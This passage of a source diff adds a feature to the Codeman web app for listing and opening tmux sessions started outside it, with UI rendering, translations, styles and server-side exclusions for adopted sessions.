buttonEl.disabled = true;
|
||||
buttonEl.textContent = foreignT('Opening…');
|
||||
}
|
||||
try {
|
||||
const body = { id };
|
||||
if (this.foreignScanRemote()) {
|
||||
body.docker = true;
|
||||
body.remote = true;
|
||||
}
|
||||
// ⚠️ `_api`, not `_apiJson`: the latter folds a network failure, a non-2xx
|
||||
// and `success:false` all into null, and the server deliberately tells
|
||||
// two different stories here — "that tmux session is no longer there" vs
|
||||
// "could not reach it just now (…) — try again". Collapsing them showed a
|
||||
// live remote session as deleted every time the link flickered.
|
||||
const res = await this._api('/api/sessions/adopt', { method: 'POST', body });
|
||||
const payload = await this._readJsonBody(res);
|
||||
const session = payload && payload.success !== false ? payload.data?.session : null;
|
||||
if (!session) {
|
||||
const fallback = foreignT('Could not open that session. Refreshing the list.');
|
||||
this.showToast?.(payload?.error || fallback, 'error');
|
||||
await this.loadForeignSessions();
|
||||
return;
|
||||
}
|
||||
const data = { session };
|
||||
// Go through the app's normal create path so tab order, lineage lines and
|
||||
// SSE-vs-POST ordering behave exactly as they do for a Run.
|
||||
this._onSessionCreated?.(data.session);
|
||||
await this.selectSession(data.session.id);
|
||||
// Still one explicit user action, so a wide row's "Open" refreshes the
|
||||
// wide list too — otherwise the row just adopted keeps reading as free.
|
||||
await this.loadForeignSessions({ wide: this.foreignScanRemote() });
|
||||
} finally {
|
||||
this._foreignAdoptInFlight = false;
|
||||
if (buttonEl) {
|
||||
buttonEl.disabled = false;
|
||||
buttonEl.textContent = foreignT('Open');
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
/** The error envelope, or null when there was no readable body at all. */
|
||||
async _readJsonBody(res) {
|
||||
if (!res) return null;
|
||||
try {
|
||||
return await res.json();
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
},
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
// Render
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
|
||||
/** Paint every mounted container (welcome + phone overview). */
|
||||
renderAllForeignSessions() {
|
||||
for (const id of ['foreignSessions', 'mobileForeignSessions']) {
|
||||
const el = document.getElementById(id);
|
||||
if (el) this.renderForeignSessions(el);
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Render into one container. The ONLY row builder — see @fileoverview.
|
||||
*
|
||||
* Everything is built with DOM APIs and `textContent`: a session name and a
|
||||
* command line come from another user's process, so they are never allowed
|
||||
* near `innerHTML`.
|
||||
*/
|
||||
renderForeignSessions(container) {
|
||||
const rows = this._allForeignRows();
|
||||
container.innerHTML = '';
|
||||
if (this._foreignRefused) {
|
||||
container.hidden = true;
|
||||
return;
|
||||
}
|
||||
|
||||
if (!rows.length) {
|
||||
// Hidden rather than shown-empty: on a first run there is usually nothing,
|
||||
// and an empty block on the welcome screen reads as a broken feature.
|
||||
// A note is a REASON the list is empty, so a block carrying one must stay
|
||||
// visible — hiding it is exactly how "where did my session go" becomes
|
||||
// unanswerable.
|
||||
const hasNotes =
|
||||
(Array.isArray(this._foreignNotes) && this._foreignNotes.length > 0) ||
|
||||
(Array.isArray(this._foreignWideNotes) && this._foreignWideNotes.length > 0);
|
||||
// ⚠️ `canScanWide` must keep the block visible even with nothing to show.
|
||||
// The scan toggle lives in the header, so hiding an empty block also hides
|
||||
// the only control that could fill it — on a host with containers but no
|
||||
// local tmux sessions that made the whole feature unreachable.
|
||||
container.hidden = !this.foreignScanRemote() && !this._foreignError && !hasNotes && !this._foreignCanScanWide;
|
||||
if (!container.hidden) {
|
||||
container.appendChild(this._foreignHeader(0));
|
||||
const empty = document.createElement('div');
|
||||
empty.className = 'foreign-empty';
|
||||
this._appendForeignNotes(container);
|
||||
empty.textContent = this._foreignError
|
||||
? foreignT('Could not reach the server.')
|
||||
: foreignT('No sessions found outside Codeman.');
|
||||
container.appendChild(empty);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
container.hidden = false;
|
||||
container.appendChild(this._foreignHeader(rows.length));
|
||||
|
||||
this._appendForeignNotes(container);
|
||||
|
||||
const list = document.createElement('div');
|
||||
list.className = 'foreign-list';
|
||||
// Adoptable first: an already-open one is not an action, it is a reminder.
|
||||
const sorted = rows.slice().sort((a, b) => {
|
||||
const aOpen = a.adoptedBy ? 1 : 0;
|
||||
const bOpen = b.adoptedBy ? 1 : 0;
|
||||
if (aOpen !== bOpen) return aOpen - bOpen;
|
||||
return (b.createdAt || 0) - (a.createdAt || 0);
|
||||
});
|
||||
for (const row of sorted) list.appendChild(this._foreignRow(row));
|
||||
container.appendChild(list);
|
||||
},
|
||||
|
||||
/**
|
||||
* Why a scan produced less than the user expected.
|
||||
*
|
||||
* Without this, a session skipped for an unsafe name or a host that could not
|
||||
* be reached is simply ABSENT, and "my tmux session does not show up" has no
|
||||
* answer anywhere in the product. Notes are server-authored strings, rendered
|
||||
* as text.
|
||||
*/
|
||||
_appendForeignNotes(container) {
|
||||
const local = Array.isArray(this._foreignNotes) ? this._foreignNotes : [];
|
||||
const wide = this.foreignScanRemote() && Array.isArray(this._foreignWideNotes) ? this._foreignWideNotes : [];
|
||||
const notes = wide.length ? local.concat(wide) : local;
|
||||
if (!notes.length) return;
|
||||
const box = document.createElement('div');
|
||||
box.className = 'foreign-notes';
|
||||
box.setAttribute('data-i18n-skip', '');
|
||||
for (const n of notes) {
|
||||
const line = document.createElement('div');
|
||||
line.className = 'foreign-note';
|
||||
line.textContent = n;
|
||||
box.appendChild(line);
|
||||
}
|
||||
container.appendChild(box);
|
||||
},
|
||||
|
||||
_foreignHeader(count) {
|
||||
const header = document.createElement('div');
|
||||
header.className = 'foreign-header';
|
||||
|
||||
const title = document.createElement('h3');
|
||||
title.className = 'foreign-title';
|
||||
title.textContent = foreignT('Opened outside Codeman');
|
||||
header.appendChild(title);
|
||||
|
||||
if (count) {
|
||||
const badge = document.createElement('span');
|
||||
badge.className = 'foreign-count';
|
||||
badge.setAttribute('data-i18n-skip', '');
|
||||
badge.textContent = String(count);
|
||||
header.appendChild(badge);
|
||||
}
|
||||
|
||||
const scan = document.createElement('button');
|
||||
scan.type = 'button';
|
||||
scan.className = 'foreign-scan-toggle';
|
||||
scan.dataset.foreignAction = 'toggle-scan';
|
||||
scan.setAttribute('aria-pressed', String(this.foreignScanRemote()));
|
||||
scan.title = foreignT('Also scan containers and remote hosts (slower)');
|
||||
scan.textContent = this.foreignScanRemote() ? '⟳ all' : '⟳ local';
|
||||
header.appendChild(scan);
|
||||
|
||||
// The wide scan is one-shot, so without this button its rows could only
|
||||
// ever be refreshed by toggling off and on again.
|
||||
if (this.foreignScanRemote()) {
|
||||
const rescan = document.createElement('button');
|
||||
rescan.type = 'button';
|
||||
rescan.className = 'foreign-scan-toggle';
|
||||
rescan.dataset.foreignAction = 'rescan-wide';
|
||||
rescan.disabled = this._foreignWideLoading === true;
|
||||
rescan.title = foreignT('Scan containers and remote hosts again');
|
||||
rescan.textContent = this._foreignWideLoading ? foreignT('Scanning…') : foreignT('Rescan');
|
||||
header.appendChild(rescan);
|
||||
}
|
||||
|
||||
return header;
|
||||
},
|
||||
|
||||
_foreignRow(row) {
|
||||
const item = document.createElement('div');
|
||||
item.className = 'foreign-row';
|
||||
if (row.adoptedBy) item.classList.add('foreign-row--open');
|
||||
|
||||
const dot = document.createElement('span');
|
||||
dot.className = `foreign-dot foreign-dot--${row.mode || 'shell'}`;
|
||||
item.appendChild(dot);
|
||||
|
||||
const body = document.createElement('span');
|
||||
body.className = 'foreign-row-body';
|
||||
|
||||
const line1 = document.createElement('span');
|
||||
line1.className = 'foreign-row-name';
|
||||
line1.setAttribute('data-i18n-skip', '');
|
||||
line1.textContent = row.sessionName || '(unnamed)';
|
||||
body.appendChild(line1);
|
||||
|
||||
const line2 = document.createElement('span');
|
||||
line2.className = 'foreign-row-sub';
|
||||
line2.setAttribute('data-i18n-skip', '');
|
||||
const bits = [foreignModeLabel(row.mode)];
|
||||
const where = row.hostLabel || foreignT(FOREIGN_LOCATION_LABEL[row.location] || row.location);
|
||||
if (where) bits.push(where);
|
||||
if (row.workingDir) bits.push(row.workingDir);
|
||||
line2.textContent = bits.join(' · ');
|
||||
line2.title = row.command || '';
|
||||
body.appendChild(line2);
|
||||
|
||||
item.appendChild(body);
|
||||
|
||||
const action = document.createElement('button');
|
||||
action.type = 'button';
|
||||
action.className = 'foreign-open-btn';
|
||||
if (row.adoptedBy) {
|
||||
action.dataset.foreignAction = 'select';
|
||||
action.dataset.foreignSession = row.adoptedBy;
|
||||
action.textContent = foreignT('Go to tab');
|
||||
} else {
|
||||
action.dataset.foreignAction = 'adopt';
|
||||
action.dataset.foreignId = row.id;
|
||||
action.textContent = foreignT('Open');
|
||||
}
|
||||
item.appendChild(action);
|
||||
|
||||
return item;
|
||||
},
|
||||
|
||||
/**
|
||||
* One delegated listener per container, wired once. Delegation matters here
|
||||
* because the list is fully rebuilt on every poll — per-button listeners would
|
||||
* leak one set per tick.
|
||||
*/
|
||||
wireForeignSessions() {
|
||||
if (this._foreignWired) return;
|
||||
this._foreignWired = true;
|
||||
document.addEventListener('click', (event) => {
|
||||
const el = event.target?.closest?.('[data-foreign-action]');
|
||||
if (!el) return;
|
||||
const action = el.dataset.foreignAction;
|
||||
if (action === 'adopt') {
|
||||
void this.adoptForeignSession(el.dataset.foreignId, el);
|
||||
} else if (action === 'select') {
|
||||
void this.selectSession(el.dataset.foreignSession);
|
||||
} else if (action === 'toggle-scan') {
|
||||
this.toggleForeignScanRemote();
|
||||
} else if (action === 'rescan-wide') {
|
||||
this.rescanForeignWide();
|
||||
}
|
||||
});
|
||||
},
|
||||
});
|
||||
@@ -425,9 +425,11 @@ Object.assign(CodemanApp.prototype, {
|
||||
overview.state === 'not-a-repo'
|
||||
? 'No git repository here: this session’s folder is not one, and none was found inside it (up to two levels down).'
|
||||
: overview.state === 'unsupported'
|
||||
? overview.reason === 'docker'
|
||||
? 'Git status is not available for Docker sessions, or for folders inside a Docker case workspace.'
|
||||
: 'Git status is not available for remote (SSH) sessions.'
|
||||
? overview.reason === 'adopted'
|
||||
? 'Git status is not available for a tmux session opened outside Codeman.'
|
||||
: overview.reason === 'docker'
|
||||
? 'Git status is not available for Docker sessions, or for folders inside a Docker case workspace.'
|
||||
: 'Git status is not available for remote (SSH) sessions.'
|
||||
: `Could not read the repository: ${overview.error || 'git failed'}`;
|
||||
body.append(el('div', 'git-status-empty', why));
|
||||
clearChrome();
|
||||
|
||||
@@ -1379,6 +1379,29 @@
|
||||
'Remove Tab': '移除标签页',
|
||||
'Remove All Tabs': '移除所有标签页',
|
||||
'Use arrows to reorder. Changes are saved automatically.': '使用方向键重新排序;更改会自动保存。',
|
||||
// Sessions opened outside Codeman (foreign-sessions.js, the close dialog and Session Options).
|
||||
'Opened outside Codeman': '在 Codeman 之外打开',
|
||||
'Also scan containers and remote hosts (slower)': '同时扫描容器和远程主机(较慢)',
|
||||
'Scan containers and remote hosts again': '重新扫描容器和远程主机',
|
||||
'⟳ all': '⟳ 全部',
|
||||
'⟳ local': '⟳ 本机',
|
||||
'Scanning…': '扫描中…',
|
||||
Rescan: '重新扫描',
|
||||
'Opening…': '正在打开…',
|
||||
'Go to tab': '转到标签页',
|
||||
'this machine': '本机',
|
||||
container: '容器',
|
||||
remote: '远程',
|
||||
'No sessions found outside Codeman.': '未发现在 Codeman 之外打开的会话。',
|
||||
'Could not reach the server.': '无法连接服务器。',
|
||||
'Could not open that session. Refreshing the list.': '无法打开该会话,正在刷新列表。',
|
||||
'Close Tab': '关闭标签页',
|
||||
'Detaches only. The tmux session keeps running for whoever started it.':
|
||||
'仅断开连接。该 tmux 会话会继续运行,供其启动者使用。',
|
||||
'Where the tmux session was when it was opened here. It was started outside Codeman and keeps running if this tab closes.':
|
||||
'该 tmux 会话在此处打开时所在的位置。它是在 Codeman 之外启动的,关闭此标签页后仍会继续运行。',
|
||||
'Git status is not available for a tmux session opened outside Codeman.':
|
||||
'在 Codeman 之外打开的 tmux 会话无法使用 Git 状态。',
|
||||
});
|
||||
|
||||
const ZH_CN_LOWER = new Map(Object.entries(ZH_CN).map(([key, value]) => [key.toLocaleLowerCase('en'), value]));
|
||||
|
||||
@@ -583,6 +583,12 @@
|
||||
</div>
|
||||
<div class="history-list" id="historyList"></div>
|
||||
</div>
|
||||
<!-- Sessions a human started outside Codeman (foreign-sessions.js).
|
||||
Hidden until a scan finds one; never rendered empty on a fresh
|
||||
install, where an empty block reads as a broken feature. -->
|
||||
<div class="welcome-foreign">
|
||||
<div class="foreign-sessions" id="foreignSessions" hidden></div>
|
||||
</div>
|
||||
<p class="welcome-hint">Or click Run to start</p>
|
||||
<button class="welcome-ralph-link" onclick="app.showRalphWizard()">Start Ralph Loop →</button>
|
||||
</div>
|
||||
@@ -1834,11 +1840,11 @@
|
||||
<p class="modal-session-name" id="closeConfirmSessionName"></p>
|
||||
</div>
|
||||
<div class="close-options">
|
||||
<button class="close-option" onclick="app.confirmCloseSession(false)">
|
||||
<span class="close-option-title">Remove Tab</span>
|
||||
<span class="close-option-desc">Tmux session keeps running in background</span>
|
||||
<button class="close-option" onclick="app.confirmCloseSession(false)" id="closeConfirmKeepBtn">
|
||||
<span class="close-option-title" id="closeConfirmKeepTitle">Remove Tab</span>
|
||||
<span class="close-option-desc" id="closeConfirmKeepDesc">Tmux session keeps running in background</span>
|
||||
</button>
|
||||
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)">
|
||||
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)" id="closeConfirmKillBtn">
|
||||
<span class="close-option-title" id="closeConfirmKillTitle">Kill Tmux & Claude Code</span>
|
||||
<span class="close-option-desc">Terminate the session completely</span>
|
||||
</button>
|
||||
@@ -4676,6 +4682,7 @@
|
||||
<script defer src="webview-tabs.js"></script>
|
||||
<script defer src="mobile-overview.js"></script>
|
||||
<script defer src="home-sessions.js"></script>
|
||||
<script defer src="foreign-sessions.js"></script>
|
||||
<script defer src="git-status-ui.js"></script>
|
||||
<script defer src="edit-history-ui.js"></script>
|
||||
<script defer src="entrance-animations.js"></script>
|
||||
|
||||
@@ -508,6 +508,16 @@ Object.assign(CodemanApp.prototype, {
|
||||
)
|
||||
);
|
||||
|
||||
// Sessions a human opened outside Codeman. Its own container, rebuilt by the
|
||||
// ONE renderer in foreign-sessions.js — the phone must not grow a second row
|
||||
// builder that could describe the same session differently from the desktop.
|
||||
const foreign = document.createElement('div');
|
||||
foreign.className = 'foreign-sessions mobile-foreign-sessions';
|
||||
foreign.id = 'mobileForeignSessions';
|
||||
foreign.hidden = true;
|
||||
el.appendChild(foreign);
|
||||
this.renderForeignSessions?.(foreign);
|
||||
|
||||
el.appendChild(
|
||||
this._buildMobileOverviewSection(
|
||||
'Past sessions',
|
||||
|
||||
@@ -4217,6 +4217,18 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
|
||||
}
|
||||
}
|
||||
|
||||
/* Foreign sessions block inside the phone overview (foreign-sessions.js).
|
||||
The desktop block sits inside the welcome column; here it is a full-width
|
||||
section between CURRENT and PAST, so it only needs the surrounding spacing —
|
||||
every row style is shared with styles.css on purpose. */
|
||||
.mobile-foreign-sessions {
|
||||
margin: 0.75rem 0.75rem 0;
|
||||
}
|
||||
|
||||
.mobile-foreign-sessions .foreign-list {
|
||||
max-height: none;
|
||||
}
|
||||
|
||||
/* Folding devices, tabletop pose: cap the response viewer to the bottom
|
||||
segment. Twin of the rule at the end of styles.css, needed here because the
|
||||
phone block (under 600px) above sets `max-height: 92dvh` on the same selector at the same
|
||||
|
||||
@@ -2757,8 +2757,9 @@ Object.assign(CodemanApp.prototype, {
|
||||
/** Copy the open session's working folder (Session Options > Session > Working folder). */
|
||||
async copySessionPath() {
|
||||
const session = this.sessions.get(this.editingSessionId);
|
||||
if (!session?.workingDir) return;
|
||||
const ok = await this._copyText(session.workingDir);
|
||||
const path = session?.adopt?.paneCurrentPath || session?.workingDir;
|
||||
if (!path) return;
|
||||
const ok = await this._copyText(path);
|
||||
this.showToast(ok ? 'Path copied' : 'Copy failed', ok ? 'success' : 'error');
|
||||
},
|
||||
|
||||
@@ -2833,8 +2834,9 @@ Object.assign(CodemanApp.prototype, {
|
||||
this.updateGitFetchStatus(sessionId);
|
||||
const imageWatcherToggle = document.getElementById('modalImageWatcherEnabled');
|
||||
imageWatcherToggle.checked = session.imageWatcherEnabled ?? true;
|
||||
// The server never watches a remote session's directory (it is on another host), so the row is hidden.
|
||||
imageWatcherToggle.closest('.set-row').style.display = session.remote ? 'none' : '';
|
||||
// The server never watches a remote session's directory (it is on another host), nor an adopted
|
||||
// session's (a neutral wrapper folder), so the row is hidden.
|
||||
imageWatcherToggle.closest('.set-row').style.display = session.remote || session.adopt ? 'none' : '';
|
||||
document.getElementById('modalFlickerFilterEnabled').checked = session.flickerFilterEnabled ?? false;
|
||||
|
||||
// Populate session name input with prefix/suffix split
|
||||
@@ -2853,17 +2855,21 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
|
||||
// Working folder: the path the CLI was launched in on the Codeman host
|
||||
// (an adopted session's is the neutral wrapper folder, so the row shows where the pane was)
|
||||
const _pathEl = document.getElementById('modalSessionPath');
|
||||
_pathEl.textContent = session.workingDir || '';
|
||||
_pathEl.title = session.workingDir || '';
|
||||
document.getElementById('modalSessionPathCopy').disabled = !session.workingDir;
|
||||
const _shownPath = session.adopt?.paneCurrentPath || session.workingDir || '';
|
||||
_pathEl.textContent = _shownPath;
|
||||
_pathEl.title = _shownPath;
|
||||
document.getElementById('modalSessionPathCopy').disabled = !_shownPath;
|
||||
// A remote session's workingDir is the REMOTE path; a docker session's is the
|
||||
// host bind-mount source the container sees.
|
||||
document.getElementById('modalSessionPathDesc').textContent = session.remote
|
||||
? "Where this session's CLI runs, on the remote host it reaches over SSH, not on this machine."
|
||||
: session.docker
|
||||
? "On the machine hosting Codeman, mounted into the Docker container this session's CLI runs in."
|
||||
: "Where this session's CLI runs, on the machine hosting Codeman.";
|
||||
document.getElementById('modalSessionPathDesc').textContent = session.adopt
|
||||
? 'Where the tmux session was when it was opened here. It was started outside Codeman and keeps running if this tab closes.'
|
||||
: session.remote
|
||||
? "Where this session's CLI runs, on the remote host it reaches over SSH, not on this machine."
|
||||
: session.docker
|
||||
? "On the machine hosting Codeman, mounted into the Docker container this session's CLI runs in."
|
||||
: "Where this session's CLI runs, on the machine hosting Codeman.";
|
||||
|
||||
// Initialize color picker with current session color
|
||||
const currentColor = session.color || 'default';
|
||||
@@ -2890,11 +2896,11 @@ Object.assign(CodemanApp.prototype, {
|
||||
if (respawnTabBtn) respawnTabBtn.style.display = '';
|
||||
}
|
||||
|
||||
// Git is local git only: a remote (SSH) or Docker case answers 'unsupported' on both git routes and is
|
||||
// never fetched by the interval scheduler, so its Git tab has nothing to say and its rail entry goes
|
||||
// hidden the same way.
|
||||
// Git is local git only: a remote (SSH) or Docker case, or an adopted session, answers 'unsupported' on
|
||||
// both git routes and is never fetched by the interval scheduler, so its Git tab has nothing to say and
|
||||
// its rail entry goes hidden the same way.
|
||||
const gitTabBtn = document.querySelector('#sessionOptionsModal .set-rail-item[data-tab="git"]');
|
||||
if (gitTabBtn) gitTabBtn.style.display = session.remote || session.docker ? 'none' : '';
|
||||
if (gitTabBtn) gitTabBtn.style.display = session.remote || session.docker || session.adopt ? 'none' : '';
|
||||
|
||||
// Populate Ralph Wiggum form with current session values (skip for external CLI sessions)
|
||||
if (!isExternalCli) {
|
||||
@@ -6112,7 +6118,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
|
||||
/** The Codeman-managed worktree a session runs in, or null (see managedWorktreeOfDir). */
|
||||
_managedWorktreeOfSession(session) {
|
||||
if (!session || session.remote || session.docker) return null;
|
||||
if (!session || session.remote || session.docker || session.adopt) return null;
|
||||
return managedWorktreeOfDir(session.workingDir, this.cases);
|
||||
},
|
||||
|
||||
|
||||
@@ -22133,6 +22133,176 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════
|
||||
Foreign sessions — tmux sessions a human started outside Codeman
|
||||
(foreign-sessions.js). Rendered on the welcome screen and, with the
|
||||
same row builder, inside the phone overview.
|
||||
|
||||
Colour vocabulary is deliberately the session-tab one: a mode dot on
|
||||
the left, name over a dim meta line, action pinned right. A block that
|
||||
invented its own language here would read as a different product.
|
||||
═══════════════════════════════════════════════════════════════ */
|
||||
|
||||
.welcome-foreign {
|
||||
width: 100%;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
.foreign-sessions {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.4rem;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
/* `.foreign-sessions` is a flex container, so `[hidden]` needs re-asserting or
|
||||
the module's only visibility lever does nothing (same trap as .home-sessions). */
|
||||
.foreign-sessions[hidden] {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.foreign-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.foreign-title {
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-dim);
|
||||
font-weight: 500;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.foreign-count {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-dim);
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
border-radius: 999px;
|
||||
padding: 0.1rem 0.45rem;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.foreign-scan-toggle {
|
||||
margin-left: auto;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-dim);
|
||||
background: transparent;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 999px;
|
||||
padding: 0.12rem 0.5rem;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.foreign-scan-toggle[aria-pressed='true'] {
|
||||
color: var(--session-blue, #4a9eff);
|
||||
border-color: var(--session-blue, #4a9eff);
|
||||
}
|
||||
|
||||
.foreign-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.3rem;
|
||||
max-height: min(40vh, 320px);
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.foreign-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.55rem;
|
||||
padding: 0.4rem 0.55rem;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
background: rgba(255, 255, 255, 0.02);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.foreign-row--open {
|
||||
opacity: 0.62;
|
||||
}
|
||||
|
||||
.foreign-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 50%;
|
||||
flex: 0 0 auto;
|
||||
background: var(--text-muted, #888);
|
||||
}
|
||||
|
||||
.foreign-dot--claude {
|
||||
background: #d97757;
|
||||
}
|
||||
.foreign-dot--codex {
|
||||
background: #9b8cff;
|
||||
}
|
||||
.foreign-dot--shell {
|
||||
background: #4caf7d;
|
||||
}
|
||||
|
||||
.foreign-row-body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
min-width: 0;
|
||||
flex: 1 1 auto;
|
||||
}
|
||||
|
||||
.foreign-row-name {
|
||||
font-size: 0.82rem;
|
||||
color: var(--text);
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.foreign-row-sub {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-dim);
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.foreign-open-btn {
|
||||
flex: 0 0 auto;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.22rem 0.6rem;
|
||||
border-radius: 5px;
|
||||
border: 1px solid var(--border);
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
color: var(--text);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.foreign-open-btn:hover:not(:disabled) {
|
||||
border-color: var(--session-blue, #4a9eff);
|
||||
color: var(--session-blue, #4a9eff);
|
||||
}
|
||||
|
||||
.foreign-open-btn:disabled {
|
||||
opacity: 0.55;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.foreign-empty {
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-dim);
|
||||
padding: 0.3rem 0.1rem;
|
||||
}
|
||||
|
||||
.foreign-notes {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.15rem;
|
||||
}
|
||||
|
||||
.foreign-note {
|
||||
font-size: 0.66rem;
|
||||
color: var(--text-dim);
|
||||
opacity: 0.85;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
/* XLSX preview in the file-preview overlay (spreadsheet-preview.js). Read-only; cells are
|
||||
absolutely positioned inside a virtualized grid, so only the visible tile is in the DOM. */
|
||||
.spreadsheet-preview-shell {
|
||||
|
||||
@@ -2943,6 +2943,9 @@ Object.assign(CodemanApp.prototype, {
|
||||
if (overlay) overlay.classList.remove('visible');
|
||||
this.hideHomeSessions?.();
|
||||
this.showMobileOverview();
|
||||
// The phone overview hosts the same list in its own container.
|
||||
this.wireForeignSessions?.();
|
||||
this.startForeignPolling?.();
|
||||
this._updateCjkInputState?.();
|
||||
return;
|
||||
}
|
||||
@@ -2957,6 +2960,10 @@ Object.assign(CodemanApp.prototype, {
|
||||
// Open tabs down the left gutter. Self-gating: a window too narrow to hold
|
||||
// the column without overlapping the content leaves it hidden.
|
||||
this.showHomeSessions?.();
|
||||
// Sessions a human opened outside Codeman. Polls only while this screen is
|
||||
// up (stopped in hideWelcome) — see foreign-sessions.js.
|
||||
this.wireForeignSessions?.();
|
||||
this.startForeignPolling?.();
|
||||
}
|
||||
// Home screen has no input target — hide the CJK textarea (activeSessionId
|
||||
// is null by the time we get here). Guarded: defined on the app object.
|
||||
@@ -2966,6 +2973,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
hideWelcome() {
|
||||
this.hideMobileOverview?.();
|
||||
this.hideHomeSessions?.();
|
||||
this.stopForeignPolling?.();
|
||||
const overlay = document.getElementById('welcomeOverlay');
|
||||
if (overlay) {
|
||||
overlay.classList.remove('visible');
|
||||
@@ -6706,7 +6714,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
_keyboardHoldEligible(sessionId = this.activeSessionId) {
|
||||
if (this.loadAppSettingsFromStorage?.()?.keyboardHoldsRows === false) return false;
|
||||
const session = sessionId ? this.sessions?.get(sessionId) : null;
|
||||
if (!session || session.remote || session.docker || session.cliMouseTracking) return false;
|
||||
if (!session || session.remote || session.docker || session.adopt || session.cliMouseTracking) return false;
|
||||
const modes = window.__codemanKeyboardHoldModes;
|
||||
return Array.isArray(modes) && modes.includes(session.mode || 'claude');
|
||||
},
|
||||
|
||||
@@ -197,7 +197,7 @@ export function registerDiscordRoutes(app: FastifyInstance, deps: DiscordRouteDe
|
||||
}
|
||||
let upload: { name: string; data: Uint8Array } | undefined;
|
||||
if (file !== undefined) {
|
||||
const problem = await fileProblem(session.workingDir, !!session.remote, file);
|
||||
const problem = await fileProblem(session.workingDir, !!session.remote || session.isAdopted, file);
|
||||
if (typeof problem === 'string') {
|
||||
refundNotifyToken(session.id);
|
||||
reply.code(400);
|
||||
|
||||
@@ -99,6 +99,7 @@ export function registerEditHistoryRoutes(app: FastifyInstance, ctx: SessionPort
|
||||
mode: session.mode,
|
||||
remote: session.remote,
|
||||
docker: session.docker,
|
||||
adopt: session.adopt,
|
||||
claudeSessionId: session.claudeSessionId,
|
||||
claudeConfigDir: session.claudeConfigDir(),
|
||||
};
|
||||
|
||||
@@ -81,6 +81,8 @@ export function registerGitStatusRoutes(
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
if (session.remote) return { success: true, data: emptyOverview('unsupported', { reason: 'remote' }) };
|
||||
if (session.docker) return { success: true, data: emptyOverview('unsupported', { reason: 'docker' }) };
|
||||
// An adopted wrapper's folder is the neutral `/tmp`, so a scan would run git on whatever sits there.
|
||||
if (session.isAdopted) return { success: true, data: emptyOverview('unsupported', { reason: 'adopted' }) };
|
||||
return {
|
||||
success: true,
|
||||
data: await getGitWorkspaceOverview(session.workingDir, {
|
||||
@@ -103,9 +105,12 @@ export function registerGitStatusRoutes(
|
||||
const { repo, path, kind } = query;
|
||||
const limits = limitsFrom(query);
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
if (session.remote || session.docker) {
|
||||
if (session.remote || session.docker || session.isAdopted) {
|
||||
reply.code(400);
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Git is not available for remote or Docker sessions');
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
'Git is not available for remote, Docker or adopted sessions'
|
||||
);
|
||||
}
|
||||
const repoRoot = repo
|
||||
? await findWorkspaceRepo(session.workingDir, repo, {
|
||||
@@ -159,6 +164,7 @@ export function registerGitStatusRoutes(
|
||||
const session = findSessionOrFail(ctx, id, req);
|
||||
if (session.remote) return { success: true, data: emptyReport('unsupported', { reason: 'remote' }) };
|
||||
if (session.docker) return { success: true, data: emptyReport('unsupported', { reason: 'docker' }) };
|
||||
if (session.isAdopted) return { success: true, data: emptyReport('unsupported', { reason: 'adopted' }) };
|
||||
// Fail CLOSED on a Docker case list that cannot be read: a fetch runs the repository's hooks, so it never
|
||||
// runs without knowing which folders a container can write to. Answered as a failed run (`state: 'error'`),
|
||||
// published like one, so the Session Options Git row shows it.
|
||||
|
||||
@@ -1,15 +1,25 @@
|
||||
/**
|
||||
* @fileoverview Mux (tmux) session management routes.
|
||||
* Provides mux session listing, killing, reconciliation, and stats control.
|
||||
